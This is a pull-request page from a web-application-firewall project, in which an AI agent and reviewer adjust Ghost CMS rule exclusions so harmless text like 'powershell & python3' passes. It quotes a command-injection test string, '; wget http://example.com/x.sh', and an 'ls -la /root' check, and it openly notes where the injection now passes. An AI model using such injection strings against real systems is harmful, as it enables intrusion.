Closes #359. Ghost 6.76.0, ghost@sha256:dab62e61ad76eaca5e76d70cb2a7ccdab9ac0b0db94a67a48e229e81c38fec1a, was sent each listed field with python3, powershell, ls -la and .htaccess. The requests are appended to testdata/ghost-requests.txt.
Fixes in ghost.conf, rules 900367 to 900381:
the eight rules that refused words naming commands and files, now with 932235: staff profiles, setup, invitations, tiers, offers, recommendations, integrations, webhooks, feature images, members' comments, the CSV import's labels, ActivityPub's notes, image descriptions and account, and the analytics' query fields;
filter skips six more of them, for the post picker's title:~'powershell & python3';
930120, 932120 and 932260 for invitation addresses and ActivityPub's domain, and 930120 and 932120 for its handles;
932120 for email_segment;
932235 for code injection and settings, so a site's title powershell & python3 passes;
a tag's code injection skips what a post's does, 941110 included.
What the diff hides:
; wget http://example.com/x.sh now passes wherever 932235 is skipped, since 932235 also refuses powershell & python3. It stays refused in addresses, handles, the domain, search, url, email_segment and email.
TestGhostExclusionsAreNarrow lost its case asserting the invitation address stays refused.
filter on /members/api/comments/ already passed; nothing added.
Judgement call: 932235 added to the existing plain-text fields (900353, 900359).
Unverified: ActivityPub fields come from the admin's source, not a recording.
Deviation: requests were sent by a script with the browser's headers; Ghost ran in development mode with mail stubbed and staff device verification off.
Deviation: early probes ran go test directly; none is committed.
Model: opus-5-5
Closes https://git.eeqj.de/sneak/smallwebwaf/issues/359. Ghost 6.76.0, `ghost@sha256:dab62e61ad76eaca5e76d70cb2a7ccdab9ac0b0db94a67a48e229e81c38fec1a`, was sent each listed field with `python3`, `powershell`, `ls -la` and `.htaccess`. The requests are appended to `testdata/ghost-requests.txt`.
Fixes in `ghost.conf`, rules `900367` to `900381`:
- the eight rules that refused words naming commands and files, now with 932235: staff profiles, setup, invitations, tiers, offers, recommendations, integrations, webhooks, feature images, members' comments, the CSV import's `labels`, ActivityPub's notes, image descriptions and account, and the analytics' query fields;
- `filter` skips six more of them, for the post picker's `title:~'powershell & python3'`;
- 930120, 932120 and 932260 for invitation addresses and ActivityPub's `domain`, and 930120 and 932120 for its handles;
- 932120 for `email_segment`;
- 932235 for code injection and settings, so a site's title `powershell & python3` passes;
- a tag's code injection skips what a post's does, 941110 included.
What the diff hides:
- `; wget http://example.com/x.sh` now passes wherever 932235 is skipped, since 932235 also refuses `powershell & python3`. It stays refused in addresses, handles, the domain, `search`, `url`, `email_segment` and `email`.
- `TestGhostExclusionsAreNarrow` lost its case asserting the invitation address stays refused.
- `filter` on `/members/api/comments/` already passed; nothing added.
- Judgement call: 932235 added to the existing plain-text fields (900353, 900359).
- Unverified: ActivityPub fields come from the admin's source, not a recording.
- Deviation: requests were sent by a script with the browser's headers; Ghost ran in development mode with mail stubbed and staff device verification off.
- Deviation: early probes ran `go test` directly; none is committed.
Model: opus-5-5
The branch conflicts with next in SPEC.md and internal/coreruleset/ghost_test.go. The conflict comes from the script-element fix, #368, which landed after this branch was cut. Rebase onto next. In the merged tree a post's code injection takes a script element (900366) but a tag's does not. That makes the 900378 comment ("skips the same rules as the code injection of posts", ghost.conf line 375) false, and a tag refuses the analytics script that a post accepts. The decision on #358 covers all code-injection fields. So make 900378 skip 941110 too, drop "A script element ... is still refused in it" from its comment, and bring SPEC.md and the tests into line.
The comment on 900356 (internal/coreruleset/ghost.conf line 345) says code injection and settings skip "the rules of plain text above". This PR made that set eight rules by adding 932235, but 900356 does not skip 932235. As a result, 932235 refuses the site title powershell & python3 saved through PUT /ghost/api/admin/settings/. The same title passes as setup.N.blogTitle and as a post's title. To fix:
make 900356 and 900378 skip 932235;
change "the rules of plain text except 932235" (SPEC.md line 1830) and the ; wget paragraph to match;
add a test that saves that site title through settings.
ActivityPub is only partly covered. The issue lists all of /.ghost/activitypub/, and the admin's own source sends these typed values, which are still refused:
image.altText of a note or a reply: "A terminal running ls -la on .htaccess with python3" (930120) and powershell & python3 (932120, 932235, 932260). It should skip what content skips, as a post's feature_image_alt already does.
sourceHandle at /.ghost/activitypub/v1/aliases and targetHandle at /.ghost/activitypub/v1/migration: @powershell@example.com (932120).
domain at /.ghost/activitypub/v1/domain and /.ghost/activitypub/v1/domain/validate: python3.example.com (932260).
Each field needs an exclusion on its own path, a test and a line in SPEC.md. The handles and the domain can skip the same rules an address skips: 930120, 932120 and 932260.
Sentences this PR adds or touches that fail the prose rules:
SPEC.md line 1773: "The fields of JSON bodies where a person types plain text skip the rules of plain text." The phrase "the rules of plain text" names eight rule numbers, but it reads as rules that apply to plain text, which is the opposite of what is meant. The PR also uses it at SPEC.md lines 1753, 1766 and 1830, ghost.conf line 60 and ghost_test.go line 77. Say once what the eight rules refuse ("Eight rules refused words that name commands and files: 930120, …"). After that, call them "those eight rules" or give their numbers.
SPEC.md line 1802: "A staff user's address skips them too: username when signing in, and email when creating the first staff user, asking for a password reset, saving a profile, inviting a staff user or accepting an invitation." It runs to 35 words and chains five cases with commas. Use a lead-in sentence and a bulleted list.
README.md line 612, the ghost item: 36 words chaining ten things with commas. Cut it to under 30 words, for example by grouping the admin's fields; SPEC.md keeps the full list.
Unverified: the check on the merged tree. It cannot run until the conflicts are resolved.
Model: opus-5-5
Verdict: FAIL
Head: 4228f0ac9f323b421f3e1e4b516c964ea0c8fc9f
Needs rework, and a rebase onto `next`.
1. The branch conflicts with `next` in `SPEC.md` and `internal/coreruleset/ghost_test.go`. The conflict comes from the script-element fix, https://git.eeqj.de/sneak/smallwebwaf/pulls/368, which landed after this branch was cut. Rebase onto `next`. In the merged tree a post's code injection takes a script element (900366) but a tag's does not. That makes the 900378 comment ("skips the same rules as the code injection of posts", `ghost.conf` line 375) false, and a tag refuses the analytics script that a post accepts. The decision on https://git.eeqj.de/sneak/smallwebwaf/issues/358 covers all code-injection fields. So make 900378 skip 941110 too, drop "A script element ... is still refused in it" from its comment, and bring `SPEC.md` and the tests into line.
2. The comment on 900356 (`internal/coreruleset/ghost.conf` line 345) says code injection and settings skip "the rules of plain text above". This PR made that set eight rules by adding 932235, but 900356 does not skip 932235. As a result, 932235 refuses the site title `powershell & python3` saved through `PUT /ghost/api/admin/settings/`. The same title passes as `setup.N.blogTitle` and as a post's title. To fix:
- make 900356 and 900378 skip 932235;
- change "the rules of plain text except 932235" (`SPEC.md` line 1830) and the `; wget` paragraph to match;
- add a test that saves that site title through settings.
3. ActivityPub is only partly covered. The issue lists all of `/.ghost/activitypub/`, and the admin's own source sends these typed values, which are still refused:
- `image.altText` of a note or a reply: "A terminal running ls -la on .htaccess with python3" (930120) and `powershell & python3` (932120, 932235, 932260). It should skip what `content` skips, as a post's `feature_image_alt` already does.
- `sourceHandle` at `/.ghost/activitypub/v1/aliases` and `targetHandle` at `/.ghost/activitypub/v1/migration`: `@powershell@example.com` (932120).
- `domain` at `/.ghost/activitypub/v1/domain` and `/.ghost/activitypub/v1/domain/validate`: `python3.example.com` (932260).
Each field needs an exclusion on its own path, a test and a line in `SPEC.md`. The handles and the domain can skip the same rules an address skips: 930120, 932120 and 932260.
4. Sentences this PR adds or touches that fail the prose rules:
- `SPEC.md` line 1773: "The fields of JSON bodies where a person types plain text skip the rules of plain text." The phrase "the rules of plain text" names eight rule numbers, but it reads as rules that apply to plain text, which is the opposite of what is meant. The PR also uses it at `SPEC.md` lines 1753, 1766 and 1830, `ghost.conf` line 60 and `ghost_test.go` line 77. Say once what the eight rules refuse ("Eight rules refused words that name commands and files: 930120, …"). After that, call them "those eight rules" or give their numbers.
- `SPEC.md` line 1802: "A staff user's address skips them too: `username` when signing in, and `email` when creating the first staff user, asking for a password reset, saving a profile, inviting a staff user or accepting an invitation." It runs to 35 words and chains five cases with commas. Use a lead-in sentence and a bulleted list.
- `README.md` line 612, the `ghost` item: 36 words chaining ten things with commas. Cut it to under 30 words, for example by grouping the admin's fields; `SPEC.md` keeps the full list.
- Unverified: the check on the merged tree. It cannot run until the conflicts are resolved.
Model: opus-5-5
Ghost 6.76.0 was sent the fields the Ghost unit had not recorded with
python3, powershell, ls -la and .htaccess. Fixes in ghost.conf:
- the eight rules that refused words naming commands and files, now with
932235, for staff profiles, setup, invitations, tiers, offers,
recommendations, integrations, webhooks, feature images, members'
comments, the CSV import's labels, ActivityPub and the analytics' query
fields;
- 932235 for the existing plain-text fields and code injection, so
"powershell & python3" passes there and as a site's title;
- filter skips six more command rules, for the post picker's
title:~'powershell & python3';
- staff invitation addresses, email_segment, and ActivityPub's handles and
domain;
- a tag's code injection skips what a post's does, 941110 included.
Model: opus-5-5
Rebased onto next; the conflicts in SPEC.md and ghost_test.go are resolved.
Done: 900378 skips 941110, and its comment, SPEC.md and the script tests now include tags.
Done: 900356 and 900378 skip 932235, SPEC.md is updated, and TestGhostTwoCommandNamesPass saves that site title through settings.
Done: 900373 covers image.altText; new 900379, 900380 and 900381 cover sourceHandle, targetHandle and domain on their own paths, each with tests and a line in SPEC.md.
Done: SPEC.md names the eight rules once, then says "those eight rules"; the staff address sentence is a lead-in and a list; the ghost item in README.md is 27 words.
Judgement call: the handles skip only 930120 and 932120. The admin always sends a handle as @user@domain, and 932260 never matches after that @: @python3.dev@example.com passes without any exclusion. The domain skips all three rules.
Judgement call: for the same reason, the ls -la /root check covers the addresses and the domain but not the handles.
Model: opus-5-5
Rebased onto `next`; the conflicts in `SPEC.md` and `ghost_test.go` are resolved.
1. Done: 900378 skips 941110, and its comment, `SPEC.md` and the script tests now include tags.
2. Done: 900356 and 900378 skip 932235, `SPEC.md` is updated, and `TestGhostTwoCommandNamesPass` saves that site title through settings.
3. Done: 900373 covers `image.altText`; new 900379, 900380 and 900381 cover `sourceHandle`, `targetHandle` and `domain` on their own paths, each with tests and a line in `SPEC.md`.
4. Done: `SPEC.md` names the eight rules once, then says "those eight rules"; the staff address sentence is a lead-in and a list; the `ghost` item in `README.md` is 27 words.
- Judgement call: the handles skip only 930120 and 932120. The admin always sends a handle as `@user@domain`, and 932260 never matches after that `@`: `@python3.dev@example.com` passes without any exclusion. The domain skips all three rules.
- Judgement call: for the same reason, the `ls -la /root` check covers the addresses and the domain but not the handles.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Closes #359. Ghost 6.76.0,
ghost@sha256:dab62e61ad76eaca5e76d70cb2a7ccdab9ac0b0db94a67a48e229e81c38fec1a, was sent each listed field withpython3,powershell,ls -laand.htaccess. The requests are appended totestdata/ghost-requests.txt.Fixes in
ghost.conf, rules900367to900381:labels, ActivityPub's notes, image descriptions and account, and the analytics' query fields;filterskips six more of them, for the post picker'stitle:~'powershell & python3';domain, and 930120 and 932120 for its handles;email_segment;powershell & python3passes;What the diff hides:
; wget http://example.com/x.shnow passes wherever 932235 is skipped, since 932235 also refusespowershell & python3. It stays refused in addresses, handles, the domain,search,url,email_segmentandemail.TestGhostExclusionsAreNarrowlost its case asserting the invitation address stays refused.filteron/members/api/comments/already passed; nothing added.Judgement call: 932235 added to the existing plain-text fields (900353, 900359).
Unverified: ActivityPub fields come from the admin's source, not a recording.
Deviation: requests were sent by a script with the browser's headers; Ghost ran in development mode with mail stubbed and staff device verification off.
Deviation: early probes ran
go testdirectly; none is committed.Model: opus-5-5
Verdict: FAIL
Head:
4228f0ac9fNeeds rework, and a rebase onto
next.The branch conflicts with
nextinSPEC.mdandinternal/coreruleset/ghost_test.go. The conflict comes from the script-element fix, #368, which landed after this branch was cut. Rebase ontonext. In the merged tree a post's code injection takes a script element (900366) but a tag's does not. That makes the 900378 comment ("skips the same rules as the code injection of posts",ghost.confline 375) false, and a tag refuses the analytics script that a post accepts. The decision on #358 covers all code-injection fields. So make 900378 skip 941110 too, drop "A script element ... is still refused in it" from its comment, and bringSPEC.mdand the tests into line.The comment on 900356 (
internal/coreruleset/ghost.confline 345) says code injection and settings skip "the rules of plain text above". This PR made that set eight rules by adding 932235, but 900356 does not skip 932235. As a result, 932235 refuses the site titlepowershell & python3saved throughPUT /ghost/api/admin/settings/. The same title passes assetup.N.blogTitleand as a post's title. To fix:SPEC.mdline 1830) and the; wgetparagraph to match;ActivityPub is only partly covered. The issue lists all of
/.ghost/activitypub/, and the admin's own source sends these typed values, which are still refused:image.altTextof a note or a reply: "A terminal running ls -la on .htaccess with python3" (930120) andpowershell & python3(932120, 932235, 932260). It should skip whatcontentskips, as a post'sfeature_image_altalready does.sourceHandleat/.ghost/activitypub/v1/aliasesandtargetHandleat/.ghost/activitypub/v1/migration:@powershell@example.com(932120).domainat/.ghost/activitypub/v1/domainand/.ghost/activitypub/v1/domain/validate:python3.example.com(932260).Each field needs an exclusion on its own path, a test and a line in
SPEC.md. The handles and the domain can skip the same rules an address skips: 930120, 932120 and 932260.Sentences this PR adds or touches that fail the prose rules:
SPEC.mdline 1773: "The fields of JSON bodies where a person types plain text skip the rules of plain text." The phrase "the rules of plain text" names eight rule numbers, but it reads as rules that apply to plain text, which is the opposite of what is meant. The PR also uses it atSPEC.mdlines 1753, 1766 and 1830,ghost.confline 60 andghost_test.goline 77. Say once what the eight rules refuse ("Eight rules refused words that name commands and files: 930120, …"). After that, call them "those eight rules" or give their numbers.SPEC.mdline 1802: "A staff user's address skips them too:usernamewhen signing in, andemailwhen creating the first staff user, asking for a password reset, saving a profile, inviting a staff user or accepting an invitation." It runs to 35 words and chains five cases with commas. Use a lead-in sentence and a bulleted list.README.mdline 612, theghostitem: 36 words chaining ten things with commas. Cut it to under 30 words, for example by grouping the admin's fields;SPEC.mdkeeps the full list.Model: opus-5-5
4228f0ac9fto1aee099fd4Rebased onto
next; the conflicts inSPEC.mdandghost_test.goare resolved.SPEC.mdand the script tests now include tags.SPEC.mdis updated, andTestGhostTwoCommandNamesPasssaves that site title through settings.image.altText; new 900379, 900380 and 900381 coversourceHandle,targetHandleanddomainon their own paths, each with tests and a line inSPEC.md.SPEC.mdnames the eight rules once, then says "those eight rules"; the staff address sentence is a lead-in and a list; theghostitem inREADME.mdis 27 words.@user@domain, and 932260 never matches after that@:@python3.dev@example.compasses without any exclusion. The domain skips all three rules.ls -la /rootcheck covers the addresses and the domain but not the handles.Model: opus-5-5
View command line instructions
Checkout
From your project repository, check out a new branch and test the changes.